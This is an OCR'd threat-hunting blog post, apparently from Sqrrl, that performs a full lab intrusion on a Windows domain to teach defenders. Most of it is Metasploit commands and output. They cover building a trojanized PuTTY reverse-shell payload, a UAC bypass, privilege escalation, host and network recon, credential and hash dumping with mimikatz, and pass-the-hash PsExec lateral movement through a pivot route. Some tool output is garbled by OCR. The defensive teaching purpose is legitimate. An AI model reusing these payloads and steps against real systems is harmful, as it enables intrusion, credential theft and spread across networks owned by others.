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Although it is a broad tactic, these posts will survey a
specific method that might be carried out by an
adversary.

In our last Hunter’s Den post (https://sqrrl.com/the-
hunters-den-lateral-movement-part-1/), we covered
some of the TTP's that are associated with searching
for lateral movement. Now that we have a rough idea
of the progression of this attack lifecycle let’s dig into
the stages a bit more.
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First | am going to craft the malicious version of a
legitimate binary. Here | am using a legitimate copy of
putty and injection a malicious reverse_tcp payload.

Creating the Malicious Payload
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root@kaliz~/Dowr # msfvenom platform windows —p windows/meterpreter/reverse_tcp LH0ST=192.168.1.106 LPORT=31337 NN

-f exe -0 /tmp/badguy3.exe

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of
succeeded with size 360 (iteration=0)
chosen with final size 360

Payload size: 360 bytes

Final size of exe file: 73802 bytes

Saved as: /tmp/badguy3.exe

(https://sqgrrl.com/media/Screen-Shot-2017-06-16-at-
10.39.44-AM-SANITIZED.png)

| have also renamed the file from badguy3.exe to
puttyX.exe so that the end user is not aware of the
change in the file. Since | am skipping the infection
stage in this write up, | will not be going into how |
made this binary or how | tricked the user into running
it. #PleaseDontSueMe
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(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
10.43.32-AM.png)

Compromise

The first stage that matters is the compromise stage.
What you see here is a popular penetration testing
suite, called Kali, that is being used to connect to the
reverse shell generated by the malware on the target
host. You can see that with this shell, | as the attacker,
have the ability to run admin-level commands to
perform recon of the system and network it is on.

e Communication with the compromised systems
and C&C (command and control) servers is
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established

e Threat actors need to sustain persistent access
across the network

e They move laterally within the network and gain
higher privileges through the use of different tools

After sending the user the malicious binary | start a
metasploit console that is going to wait and listen for
a connection request from the user. Below you can see
the session being started and initiated by the victim
system.

Starting listener for connection from infected system

root@kali:~/Dowr # msfconsole -q
[~] Failed to connect to the database: could not connect to server: Connection refused
Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 54327
could not connect to server: Connection refused
Is the server running on host "localhost" (127.0.0.1) and accepting
TCP/IP connections on port 54327

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.166

LHOST => 192.168.1.106

msf exploit(handler) > set LPORT 31337

LPORT => 31337

msf exploit(handler) > exploit

Started reverse TCP handler on 192.168.1.106:31337

Starting the payload handler...

Sending stage (957487 bytes) to 192.168.1.100

Meterpreter session 1 opened (192.168.1.106:31337 -> 192.168.1.100:51403) at 2017-06-16 10:44:21 -0400

meterpreter > D

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
10.44.25-AM.png)

You can also see that the last line in the image reads
“meterpreter”. This means | now have a direct shell on
the victim system from my attacker system. From this
shell | can either run plugins, scripts, payloads, or start
a local shell session against the victim.
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First thing | am going to do with my session is see
what privileges | have.

Discovering privileges of user who executed the
infected binary and compromised the system

meterpreter > getprivs
Enabled Process Privileges

SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege

SeUndockPrivilege

meterpreter > getsystem

[~] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)

[~] Named Pipe Impersonation (Dropper/Admin)

[~] Token Duplication (In Memory/Admin)

meterpreter > ||

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
10.44.47-AM.png)

Here | can see that the user | have tricked into running
my malware is not a local admin and i have very
restricted privileges on the system. Good for SecOps
but bad for me as an attacker. Luckily, | am not so
easily blocked.

| am going to background my meterpreter session so i
can load more attacks to use against the host. In this
image we can see that the user I am running as is
“bjohnson” in the domain “sectechlab” on the host
“win7-pc”. | can also see that | am currently running as
x86 windows and my victim IP is 192.168.1.100.

Keeping my session live while | load more attacks
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meterpreter > background
] Backgrounding session 1...
msf exploit(handler) > show sessions

Active sessions

Information Connection

meterpreter x86/windows SECTECHLAB\bjohnson @ WIN7-PC 192.168.1.106:31337 —> 192.168.1.100:51437 (192.168.1.100)

msf exploit(handler) > ||

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
10.48.31-AM.png)

Now that | have the session in the background, | am
going to load up a generic UAC bypass exploit (this is
patched in current windows versions) and run it
against the victim system.

Bypassing Windows UAC to escalate privileges

meterpreter > background
Backgrounding session 1...
msf exploit(handler) > show sessions

Active sessions

Information Connection
meterpreter x86/windows SECTECHLAB\bjohnson @ WIN7-PC 192.168.1.106:31337 —> 192.168.1.100:51437 (192.168.1.100)

msf exploit(handler) > use exploit/windows/local/bypassuac

msf exploit(bypassuac) > set SESSION 1

SESSION => 1

msf exploit(bypassuac) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(bypassuac) > set LHOST 192.168.1.106

LHOST = 192.168.1.106

msf exploit(bypassuac) > set LPORT 4443

LPORT => 4443

msf exploit(bypassuac) > set TECHNIQUE PSH

TECHNIQUE => PSH

msf exploit(bypassuac) > exploit -j
Exploit running as background job.

Started reverse TCP handler on 192.168.1.106:4443
exploit(bypassuac) > [*] Sending stage (957487 bytes) to 192.168.1.100
UAC is Enabled, checking level...
UAC is set to Default
BypassUAC can bypass this setting, continuing...
] Meterpreter session 2 opened (192.168.1.106:4443 —> 192.168.1.100:51436) at 2017-06-16 10:49:13 -8400
Part of Administrators group! Continuing...
Uploaded the agent to the filesystem....
Uploading the bypass UAC executable to the filesystem...
] Meterpreter stager executable 73802 bytes long being uploaded..

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
10.54.20-AM.png)

Second Session started with UAC bypass enabled
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msf exploit(bypassuac) > show sessions

Active sessions

Type Information Connection
meterpreter x86/windows SECTECHLAB\bjohnson @ WIN7-PC 192.168.1.106:31337 -> 192.168.1.100:51437 (192.168.1.160)
meterpreter x86/windows SECTECHLAB\bjohnson @ WIN7-PC 192.168.1.106:4443 —> 192.168.1.100:51436 (192.168.1.100)

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
10.54.32-AM.png)

Well what do you know? This enterprise isn't keeping
up to date with their patches. Thanks to the successful
UAC bypass, | know have a second session started on
the victim and this session | can start my evil. How
can | do this when the sessions look identical? | can
do this because | just bypassed windows user access
control. To prove i now have more access, | will rerun
the getprivs command on the second session to see if
| know have admin privs.

Successfully getting system level privileges on
second session

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
10.55.13-AM.png)

Second session has system level privileges
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msf exploit(bypassuac) > sessions 2
*] Starting interaction with 2...

meterpreter > getprivs
Enabled Process Privileges

SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SelIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
10.54.55-AM.png)

Bam! Money privs.

Now that | have admin privs, i can just simply give
myself system level access and then start hiding
myself by starting a new x64 process and migrating
into that new process. Here | am choosing to use
notepad but in reality this will popup and application
on the victim system that the user can then quit and |
will lose my session. What i really would do is run a
process without a Graphical User Interface (gui) but |
don't think | should show that here.
#PleaseDontSueMe
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Migrating to a new x64 process

meterpreter > execute -f "c:\\windows\\sysnative\\notepad.exe"
Process 2884 created.

meterpreter > migrate 2884
Migrating from 2804 to 2884...
Migration completed successfully.

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
10.57.10-AM.png)

Now that | have system level access and have hidden
myself in a new process. Let’s start the recon!

Reconnaissance

Now that we have direct CLI access to the
compromised host, we need to enumerate the users
on that host, the network that it is on, as well as gather
generic system information like running processes and
such for possible usage for persistence.

Waste not, want not.

The images that you see are of me using the net user
command to find local users on the host as well as
domain users who have previously logged in. What |
am looking for are admin and power user level users
that | can reuse elsewhere in the environment. The first
thing | am looking for is the local admin accounts on
the system. This account is commonly used as an IT
backdoor to get into systems that are having AD
issues and is commonly the same username and
password on all systems in the environment because
it is part of the build process. | beg you not to do this
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in your environments. There is even a GPO setting that
randomizes the local admin password on your
systems. There is no excuse for this anymore.

The top three things | want to do once | get access to a
system:

e To move laterally within a breached network and
maintain persistence, attackers obtain
information like network hierarchy, services used
in the servers and operating systems

e Check the host naming conventions to easily
identify specific assets to target

e Utilize this info to map the network and acquire
intelligence about their next move

First | want see who | am and where | am. | will run
some basic sysinfo, whoami, and hostname
commands. But what | really want to know is who has
been on this system and where this system is in the
network.

Local and Domain Users

https://sqrrl.com/threat-hunting-lateral-movement-pt-2-infection/ Page 10 of 23
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meterpreter > shell

Process 3060 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>net user
net user

User accounts for \\

Administrator desktopadmin
win7
The command completed with one or more errors.

C:\Windows\system32>net user /DOMAIN
net user /DOMAIN
The request will be processed at a domain controller for domain sectechlab.net.

User accounts for \\labdc.sectechlab.net

Administrator bjohnson Guest
jsmith krbtgt master
master_a

The command completed with one or more errors.

C:\Windows\system32>net use
net use
New connections will be remembered.

There are no entries in the list.

C:\Windows\system32>ARP -a
ARP -a

Interface: 192.168.1.100 — Oxb

Internet Address Physical Address Type

192.168.1.1 00-0c-29-34-42-0a dynamic
192.168.1.4 00-0c-29-ea-27-03 dynamic
192.168.1.166 00-0c-29-3a-2b-9f dynamic
192.168.1.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.252 01-00-5e-00-00-Tc static
255.255.255.255 ff-ff-ff-ff-ff-ff static

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
10.58.58-AM.png)

Current Networking Configuration
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C:\Windows\system32>ipconfig /all
ipconfig /all

Windows IP Configuration

Host Name : win7-pc
Primary Dns Suffix : sectechlab.net
Node Type .

IP Routing Enabled

WINS Proxy Enabled

DNS Suffix Search List : sectechlab.net

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : sectechlab.net

Description . . . . . . . . . . . : Intel(R) PRO/1600 MT Network Connection
Physical Address : 00-0C-29-6A-BB—-C8

DHCP Enabled :

Autoconfiguration Enabled

IPv4 Address : 192.168.1.100(Preferred)

Subnet Mask . . . . « « « . « .« . @ 255.255.255.0

Lease Obtained : Thursday, June 15, 2017 4:19:27 PM
Lease Expires : Saturday, June 24, 2017 10:42:21 AM

Default Gateway : 192.168.1.1
DHCP Server . . . « « « « « « « « @ 192.168.1.1
DNS Servers : 192.168.1.1
Primary WINS Server : 192.168.1.1
NetBIOS over Tcpip : Enabled

Tunnel adapter isatap.sectechlab.net:

Media State : Media disconnected
Connection-specific DNS Suffix

Description . . . . . « « . . . . @ Microsoft ISATAP Adapter
Physical Address : 06-00-00-00-00-00-00-EO
DHCP Enabled

Autoconfiguration Enabled

Tunnel adapter Local Area Connection* 9:

Media State : Media disconnected
Connection-specific DNS Suffix

Description . . . . . « « . «. . . ! Teredo Tunneling Pseudo-Interface
Physical Address : 06-00-00-00-00-00-00-EO

DHCP Enabled :

Autoconfiguration Enabled

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
10.59.19-AM.png)

Running Processes
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C:\Windows\system32>tasklist
tasklist

Image Name Session Name Session#

System Idle Process Services
System Services
SMSS.exe Services
csrss.exe Services
wininit.exe Services
CcSrss.exe Console
winlogon.exe Console
services.exe Services
lsass.exe Services
Ism.exe Services
svchost.exe Services
vmacthlp.exe Services
svchost.exe Services
svchost.exe Services
svchost.exe Services
svchost.exe Services
svchost.exe Services
svchost.exe Services
spoolsv.exe Services
svchost.exe Services
cb.exe Services
svchost.exe Services
VGAuthService.exe Services
vmtoolsd.exe Services
svchost.exe Services
WmiPrvSE.exe Services
dllhost.exe Services
msdtc.exe Services
svchost.exe Services
taskhost.exe Console
dwm. exe Console
explorer.exe Console
vmtoolsd.exe Console
SearchIndexer.exe Services
notepad.exe Console
cmd. exe Console
conhost.exe Console
notepad.exe Console
badguy3.exe Console
notepad.exe Console
cmd. exe Console
conhost.exe Console
tasklist.exe Console

12,260
11,852
4,140
9,388
4,132
8,436
17,256
70,500
32,484
13,044
15,276
11,368
13,956
36,704
9,164
10,332
20,020
6,120
14,664
11,180
8,020
31,940
7,100
5,212
48,768
10,624
16,348
10,736
2,700
4,976
10,768
9,408
13,564
2,836
4,412
5,588
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(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
10.59.54-AM.png)

Current Network Connections

https://sqrrl.com/threat-hunting-lateral-movement-pt-2-infection/ Page 13 of 23


https://sqrrl.com/media/Screen-Shot-2017-06-16-at-10.59.54-AM.png

How Attackers Lay the Groundwork for Lateral Movement - Sqrrl 8/17/17, 11:54 AM

meterpreter > netstat

Connection list

Local address Remote address State User Inode PID/Program name

9.8:135
0.0:445
0.8:5357
8.6:49152
-]

-]

-]

-]

:H -] LISTEN
:H e
:H 8
:H 0.
.0:49153 8.
:H 8
:H -]
:H 8
:H 8
]

LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
.0.6. LISTEN
8.8.8. LISTEN
192.168.1. . LISTEN
.168.1. : . .1.166:31337 ESTABLISHED
192.168.1. 443 TIME_WAIT
192.168.1. TIME_WAIT
192.168.1. TIME_WAIT
192.168.1. TIME_WAIT
192.168.1. TIME_WAIT
192.168.1. TIME_WAIT
192.168.1. TIME_WAIT
192.168.1. TIME_WAIT
192.168.1. TIME_WAIT
192.168.1. TIME_WAIT
192.168.1. TIME_WAIT
192.168.1. TIME_WAIT
192.168.1. TIME_WAIT
192.168.1. TIME_WAIT
192.168.1. TIME_WAIT
192.168.1. TIME_WAIT
192. TIME_WAIT
192. TIME_WAIT
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN

788/svchost.exe
4/System

4/System
448/wininit.exe
860/svchost.exe
968/svchost.exe
560/1sass.exe
548/services.exe
19684/svchost.exe
4/System
868/badguy3.exe

8/ [System Process]
6/[System Process]
8/ [System Process]
8/ [System Process]
6/ [System Process]
8/ [System Process]
8/ [System Process]
8/ [System Process]
8/ [System Process]
8/ [System Process]
8/ [System Process]
8/ [System Process]
8/ [System Process]
8/ [System Process]
8/ [System Process]
8/ [System Process]
8/ [System Process]
8/ [System Process]
788/svchost.exe
4/System

4/System
448/wininit.exe
860/svchost.exe
968/svchost.exe
560/ 1sass.exe
548/services.exe
1964/svchost.exe
416/svchost.exe
9608/svchost.exe
1372/svchost.exe
1372/svchost.exe
968/svchost.exe
1628/svchost.exe
1372/svchost.exe
560/1sass.exe
1628/svchost.exe
960/svchost.exe
4/System

4/System
416/svchost.exe
966/svchost.exe
1372/svchost.exe
1372/svchost.exe
966/svchost.exe
1372/svchost.exe

8
e
8
8.
8.
8 49154
8

8

8
e
e
8.
8.
e
8
e

8
e
8
8
8.
e
8
e
e

coPPIPIDIDDODD

PR ARAABARNRADDDDDDS

@

@
o

.1:61288
.1.166:137
.1.166:138

DODODPDIPPDPIPDOIPDIDIDDDODD

@

DD DPDPDPDPOPDPDODDODDD
DDPDDPDPDPDPDPDPDPDPDPDPDDPRDDPDPDRDDDPDDDDDDDDDPDDDDDPDDDDDDDPDDPDDDDDDDIDDDODD D

DDDPDDPDDPDPDPDDDPDDPDDDDDDDPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
11.04.49-AM.png)

NMAP Network This Host Is On

https://sqrrl.com/threat-hunting-lateral-movement-pt-2-infection/ Page 14 of 23


https://sqrrl.com/media/Screen-Shot-2017-06-16-at-11.04.49-AM.png

How Attackers Lay the Groundwork for Lateral Movement - Sqrrl 8/17/17, 11:54 AM

RHOSTS => 192.168.1.0/24

msf auxiliary(tcp) > set PORTS 139,445
PORTS => 139,445

msf auxiliary(tcp) > set THREADS 50
THREADS => 50

msf auxiliary(tcp) > run

*] 192.168.1.1: - 192.168.1.1:445 - TCP OPEN
¥] 192.168.1.10: - 192.168.1.10:445 - TCP OPEN
¥] 192.168.1.10: - 192.168.1.10:139 - TCP OPEN
¥] Scanned 32 of hosts (12% complete)

¥] Scanned 52 of hosts (26% complete)

¥] 192.168.1.100: 192.168.1.160:139

¥] 192.168.1.100: 192.168.1.100:445

¥] 192.168.1.102: 192.168.1.102:139

¥] 192.168.1.164: 192.168.1.104:139

¥] 192.168.1.164: 192.168.1.104:445

¥] 192.168.1. : 192.168.1.102:445

*] Scanned 77 of 256 hosts (30% complete)

*] Scanned 164 of 256 hosts (46% complete)

¥] Scanned 130 of 256 hosts (50% complete)

¥] Scanned 154 of 256 hosts (60% complete)

¥] Scanned 185 of 256 hosts (72% complete)

¥] Scanned 205 of 256 hosts (80% complete)

¥] Scanned 237 of 256 hosts (92% complete)

*] Scanned 256 of 256 hosts (108% complete)

*] Auxiliary module execution completed

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
11.43.51-AM.png)

Credential Theft

Next up we have the credential theft stage. What you
see here is me running a mimikatz metasploit module.
| used this because mimikatz will take credentials out
of memory and crack the hashes for me. This allows
me to harvest credentials without having to put an
executable on the system. These activities are often
unnoticed by IT administrators, since they only check
failed logins without tracking the successful ones.

Load Mimikatz
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meterpreter > load mimikatz
Loading extension mimikatz...

[!] Loaded x86 Mimikatz on an x64 architecture.
SUCCesS.

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
10.55.42-AM.png)

Recover the MSV hashes

meterpreter > msv
[+] Running as SYSTEM

Retrieving msv credentials
msv credentials

Package Domain User Password

Negotiate SECTECHLAB WIN7-PC$ m{ 00000000000000000000000000000000 }, ntlm{ 2869e184f2112750652049a312617%3 }
NTLM m{ 06000000000000000000000000000000 }, ntlm{ 2869e184f211275065a049a326179a3 }
Kerberos  SECTECHLAB bjohnson m{ 624aac413795cdc1695169ab020e401c }, ntlm{ d25ecd13fddbb542d2e16da4f9e0333d }
Kerberos  SECTECHLAB bjohnson m{ 624aac413795cdc1695169ab020e401c }, ntlm{ d25ecd13fddbb542d2e16dadf9e0333d }
Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)

Negotiate SECTECHLAB WIN7-PC$ n.s. (Credentials KO0)

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
10.57.37-AM.png)

Recover the Kerberos Hashes

meterpreter > kerberos
[+] Running as SYSTEM

Retrieving kerberos credentials
kerberos credentials

Package Domain User Password

Negotiate NT AUTHORITY LOCAL SERVICE

NTLM

Negotiate SECTECHLAB WIN7-PC$ +L/>GRe [1>h*, Ev; x&0 s0$djUKOq: c9oyKZ FxN*WCZ.XOWCYAK@ry'7fb<6y\_1W-YKQ6E!AtTq $fvc P
LY56J#dh" L%(aG7Hk? : qqG478H8c) Oom [R9
0;999 Negotiate SECTECHLAB WIN7-PC$ +L/>GRe [1>h*,Ev;x60 s0$djUKOq: c9oyKZ FxNHWCZ.XOWCYAk@ry'7fb<6y\_1W-YkQEE!AtTq $fvc P
LY56J#dh" Ls(aG7Hk?: qqG478H8c) Oom [R9
0;624470 Kerberos  SECTECHLAB bjohnson test123!
0;624414 Kerberos  SECTECHLAB bjohnson test123!

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
10.57.48-AM.png)

Recover SAM hashes
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meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : win7-pc.sectechlab.net
BootKey ! e3a4ce7821194979324c988b8d04308e

Rid 500
Administrator

: 31d6cfedd16ae931b73¢c59d7e0c089cO

501
Guest

1000
: win7

: 6d3986e540a63647454a50e26477e194

1602
: desktopadmin

: 5409776143091bdect5d0f3e23e1abc5

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
10.58.01-AM.png)

Recover SAM hashes - if new method above doesn't
work

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > run hashdump

[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]

*] Obtaining the boot key...

] Calculating the hboot key using SYSKEY e3ad4ce7821194919324c988b8d04308e...
*] Obtaining the user list and keys...

*] Decrypting user keys...

| Dumping password hints...

win7:"m"

| Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089cO: = :
Guest:501:aad3b435b51404eeaad3ba35b51404ee:31d6cfedd16ae931b73c59d7e0c089cO: = :
win7:1000: aad3b435b51404eeaad3b435b51404ee: 6d3986€540a63647454a50e26477ef04: 1 :
desktopadmin: 1002: aad3b435b51404eeaad3b435b51404ee: 5409776143091bdecf5d0f3e23e1a0c5: 1 :

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
11.20.03-AM.png)
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Lateral Movement

Finally, we get to the stage where the rubber hits the
road. | am going to use the network data | enumerated
from the victim as well as the credentials | just took to
PsExec into another system on the network. PsExec is
a Sysinternals tool that is signed by Microsoft and
commonly exists in enterprise environments for
legitimate administrative work. This tool gives me full
CLI access to a target system so that | can use that
remote system while the authorized user is using it
without them being the wiser. Once on that system, |
will try to reach my goal of stealing information or | will
start the attack lifecycle again at the recon stage and
repeat it on more systems in the environment until |
achieve my goals.

e | can now remotely access desktops

e Accessing desktops in this manner is not unusual
for IT support staff
e Remote access will therefore not be readily
associated with an ongoing attack

e Attackers may also gather domain credentials to
log into systems, servers, and switches
e Because of password reuse by users

e Remote control tools enable attackers to access
other desktops in the network and perform
actions like executing programs, scheduling tasks,
and managing data collection on other systems

e Tools and techniques used for this purpose
include remote desktop tools, PsExec, and
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Windows Management Instrumentation
(WMI).

e Note that these tools are not the only
mechanisms used by threat actors in lateral
movement.

In the example below | am creating a route on the first
compromised host that that | can use it as a jumpbox
to access another system in the environment.

Create Route

meterpreter > run autoroute -s 192.168.1.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.

[!] Example: run post/multi/manage/autoroute OPTION=value [...]
*] Adding a route to 192.168.1.0/255.255.255.0...

[+] Added route to 192.168.1.0/255.255.255.0 via 192.168.1.100
*] Use the -p option to list all active routes

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
11.19.01-AM.png)

Apply Route

meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table

Subnet Netmask Gateway

192.168.1.0 255.255.255.0 Session 2

(https://sqrrl.com/media/Screen-Shot-2017-06-16-at-
11.19.29-AM.png)
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Now that the route is set, | am just going to repeat my
PsExec exploit against the new target and cycle
through the captured credentials until one of them
works.

Move Laterally — Use PsExec from the attacker,
through the compromised system, to the new target
host victim

meterpreter > background
*] Backgrounding session 2...
msf exploit(bypassuac) > use exploit/windows/smb/psexec
msf exploit(psexec) > set SESSION 2
SESSION => 2
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.106
LHOST => 192.168.1.106
msf exploit(psexec) > set LPORT 31338
LPORT => 31338
msf exploit(psexec) > set RHOST 192.168.1.104
RHOST => 192.168.1.164
msf exploit(psexec) > set SMBDomain sectechlab
SMBDomain => sectechlab
msf exploit(psexec) > set SMBUser bjohnson
SMBUser => bjohnson
msf exploit(psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee: d25ecd13fddbb542d2e16dadf9e0333d
SMBPass => aad3b435b51484eeaad3b435b51404ee: d25ecd13fddbb542d2e16dadf9e0333d
msf exploit(psexec) > set SHARE C$
SHARE => C$
msf exploit(psexec) > exploit —-j
*] Exploit running as background job.

] Started reverse TCP handler on 192.168.1.106:31338
] 192.168.1.104:445 - Connecting to the server.
.104:445 - Authenticating to 192.168.1.104:445|sectechlab as user 'bjohnson'...
sexec) > [*] 192.168.1.104:445 - Selecting PowerShell target
164:445 - Executing the payload...
[+] 192.168.1.104:445 - Service start timed out, OK if running a command or non-service executable...
] Sending stage (957487 bytes) to 192.168.1.164
*] Meterpreter session 3 opened (192.168.1.106:31338 -> 192.168.1.164:51641) at 2017-06-20 14:03:50 -0400

msf exploit(psexec) > sessions -1

Active sessions

Type Information Connection

meterpreter x86/windows SECTECHLAB\bjohnson @ WIN7-PC  192.168.1.106:31337 -> 192.168.1.100:59193 (192.168.1.100)
meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN7-PC  192.168.1.106:4443 —> 192.168.1.100:59194 (192.168.1.100)
meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN7VIC3 192.168.1.106:31338 -> 192.168.1.104:51641 (192.168.1.164)

msf exploit(psexec) > sessions -i 3
*] Starting interaction with 3...

meterpreter > upload /root/Downloads/mimikatz/x64/mimikatz.exe C:\\Users\Public
*] uploading : /root/Downloads/mimikatz/x64/mimikatz.exe -> C:\UsersPublic
*] uploaded : /root/Downloads/mimikatz/x64/mimikatz.exe -> C:\UsersPublic

(https://sqrrl.com/media/Screen-Shot-2017-06-20-at-
5.24.25-PM-1.png)

The Hunter's Den (https://sqgrrl.com/topic/how-tos/)
blog series aims to go beyond framework and theory
and dig into practical tips and techniques for threat
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hunting. In our next post, we'll cover best practices for
hunting for lateral movement activity.

And as always, remember my motto, Flag it, Tag it, and
Bag it.
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